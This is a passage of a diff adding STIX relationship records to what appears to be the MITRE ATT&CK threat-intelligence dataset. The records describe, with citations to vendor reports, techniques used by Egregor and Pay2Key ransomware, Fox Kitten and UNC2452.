"2020-12-29T21:32:28.114Z", + "created": "2020-12-29T21:32:28.114Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + }, + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can encrypt all non-system files using a hybrid AES-RSA algorithm prior to displaying a ransom note.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cybereason Egregor Nov 2020) ", + "relationship_type": "uses", + "id": "relationship--a3eb4cec-8053-4830-b256-e46748dba3d9", + "type": "relationship", + "modified": "2021-03-12T22:31:31.190Z", + "created": "2020-12-29T21:32:28.121Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + }, + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554)'s payloads are custom-packed, archived and encrypted to prevent analysis.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)", + "relationship_type": "uses", + "id": "relationship--552c3e40-dbb9-4675-bc31-5436a15253d8", + "type": "relationship", + "modified": "2020-12-29T21:35:52.373Z", + "created": "2020-12-29T21:32:28.160Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "JoeSecurity Egregor 2020", + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021." + }, + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can perform a language check of the infected system and can query the CPU information (cupid).(Citation: JoeSecurity Egregor 2020)(Citation: NHS Digital Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--f0a74237-9a46-4ea8-a268-3ac87f593ea9", + "type": "relationship", + "modified": "2021-01-07T20:28:30.126Z", + "created": "2020-12-29T21:32:28.166Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + }, + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has been decrypted before execution.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cybereason Egregor Nov 2020) ", + "relationship_type": "uses", + "id": "relationship--66044dfc-ab9a-4de4-a20b-cfed6d3f6236", + "type": "relationship", + "modified": "2020-12-30T16:39:34.556Z", + "created": "2020-12-29T21:32:28.163Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can enumerate all connected drives.(Citation: NHS Digital Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--783b7e83-90ee-4628-80a5-c087258290ab", + "type": "relationship", + "modified": "2020-12-29T21:32:28.174Z", + "created": "2020-12-29T21:32:28.174Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used the Windows API to make detection more difficult.(Citation: Cyble Egregor Oct 2020) ", + "relationship_type": "uses", + "id": "relationship--5bcec016-2150-4c45-9e9b-228838c9e843", + "type": "relationship", + "modified": "2020-12-29T22:21:11.405Z", + "created": "2020-12-29T22:21:11.405Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "external_references": [ + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + }, + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.(Citation: Cyble Egregor Oct 2020)(Citation: NHS Digital Egregor Nov 2020) ", + "relationship_type": "uses", + "id": "relationship--89ef773b-6d5d-482e-9afd-bc892eb8093e", + "type": "relationship", + "modified": "2020-12-29T22:21:11.438Z", + "created": "2020-12-29T22:21:11.438Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "external_references": [ + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used DLL side-loading to execute its payload.(Citation: Cyble Egregor Oct 2020) ", + "relationship_type": "uses", + "id": "relationship--9eaf89d5-01aa-4758-a2a9-abac83d2a17e", + "type": "relationship", + "modified": "2020-12-29T22:21:11.445Z", + "created": "2020-12-29T22:21:11.445Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can inject its payload into iexplore.exe process.(Citation: Cyble Egregor Oct 2020)", + "relationship_type": "uses", + "id": "relationship--e88d0a1d-9861-4260-b030-dd80e81d179a", + "type": "relationship", + "modified": "2021-01-06T17:21:11.633Z", + "created": "2020-12-29T22:21:11.435Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "external_references": [ + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has checked for the LogMein event log in an attempt to encrypt files in remote machines.(Citation: Cyble Egregor Oct 2020)", + "relationship_type": "uses", + "id": "relationship--de071e4d-eee7-4ad5-96b6-fe83bfe3e25a", + "type": "relationship", + "modified": "2020-12-30T16:39:34.375Z", + "created": "2020-12-30T16:39:34.375Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "JoeSecurity Egregor 2020", + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021." + }, + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used batch files for execution and can launch Internet Explorer from cmd.exe.(Citation: JoeSecurity Egregor 2020)(Citation: Cybereason Egregor Nov 2020) ", + "relationship_type": "uses", + "id": "relationship--e5080d8c-37e3-4a64-8983-f92356850c99", + "type": "relationship", + "modified": "2021-03-22T22:05:59.545Z", + "created": "2020-12-30T16:39:34.481Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + }, + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has the ability to download files from its C2 server.(Citation: Cybereason Egregor Nov 2020)(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--87182fef-ddbc-466e-b55b-989f10592d0c", + "type": "relationship", + "modified": "2021-01-06T22:00:01.177Z", + "created": "2020-12-30T16:39:34.487Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--218617ce-6474-4fd4-920e-88207c5aa219", + "type": "relationship", + "modified": "2020-12-30T16:39:34.497Z", + "created": "2020-12-30T16:39:34.497Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "relationship_type": "mitigates", + "description": "Use the principal of least privilege and protect administrative access to domain trusts.", + "id": "relationship--53b041d2-4250-473e-b7c6-3b05fcdf3d3f", + "type": "relationship", + "modified": "2021-01-11T18:21:20.382Z", + "created": "2020-12-30T17:56:42.438Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "external_references": [ + { + "source_name": "Cybereason Egregor Nov 2020", + "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020." + }, + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can modify the GPO to evade detection.(Citation: Cybereason Egregor Nov 2020) (Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--e50d74be-2705-4937-9bd9-7b0913901e27", + "type": "relationship", + "modified": "2021-01-06T22:00:01.195Z", + "created": "2020-12-30T20:53:11.403Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has created KeyBase accounts to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--340a62c8-9f22-4cb6-9310-bd4136e14258", + "type": "relationship", + "modified": "2021-04-20T19:53:50.094Z", + "created": "2021-01-04T14:59:30.594Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--9a8d5690-94b9-46d2-a383-6f26a3c25c80", + "type": "relationship", + "modified": "2021-01-05T15:07:54.932Z", + "created": "2021-01-04T15:41:10.302Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "external_references": [ + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--1057a87e-4ae4-4317-b655-0fab5a17e7e2", + "type": "relationship", + "modified": "2021-04-20T20:03:26.933Z", + "created": "2021-01-04T15:58:47.110Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Twitter account to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--e463f5ae-4b7a-40dd-94e1-1a04a22e5e23", + "type": "relationship", + "modified": "2021-01-05T14:52:09.765Z", + "created": "2021-01-05T14:52:09.765Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Amazon Web Services to host C2.(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--d452da85-b408-458f-ad25-937605de4611", + "type": "relationship", + "modified": "2021-01-05T14:58:55.260Z", + "created": "2021-01-05T14:58:55.260Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can remove its log file from disk.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--3179774b-9b7a-4720-850c-23c7b04d26c6", + "type": "relationship", + "modified": "2021-01-05T15:07:54.903Z", + "created": "2021-01-05T15:07:54.903Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has used RSA encrypted communications with C2.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--27fb153f-0d50-4d95-b0e2-05bb520e33a7", + "type": "relationship", + "modified": "2021-01-05T15:10:47.205Z", + "created": "2021-01-05T15:10:47.205Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has sent its public key to the C2 server over TCP.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--66200ea6-03b8-4c4f-a1d4-9041ddc70d8a", + "type": "relationship", + "modified": "2021-01-05T15:10:47.212Z", + "created": "2021-01-05T15:10:47.212Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can identify the IP and MAC addresses of the compromised host.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--e11c6406-2144-4116-a29c-852df46b5ff6", + "type": "relationship", + "modified": "2021-01-05T15:12:17.013Z", + "created": "2021-01-05T15:12:17.013Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has the ability to gather the hostname of the victim machine.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--85b17ee3-cd16-4f7d-bfaa-23e756f344d5", + "type": "relationship", + "modified": "2021-01-05T15:14:03.224Z", + "created": "2021-01-05T15:14:03.224Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can stop the MS SQL service at the end of the encryption process to release files locked by the service.(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--287368b4-d3ed-489d-9fe2-288168763ac4", + "type": "relationship", + "modified": "2021-04-20T20:03:26.937Z", + "created": "2021-01-05T15:17:50.972Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) gained initial network access via a trojanized update of SolarWinds Orion software.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--433a0302-dce9-4ee5-b13f-b5d3f18e3836", + "type": "relationship", + "modified": "2021-01-05T15:34:11.311Z", + "created": "2021-01-05T15:34:11.311Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained a list of users and their roles from an Exchange server using Get-ManagementRoleAssignment.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--79c168ca-a22b-4c1b-83d5-04560e044be2", + "type": "relationship", + "modified": "2021-01-06T17:44:32.958Z", + "created": 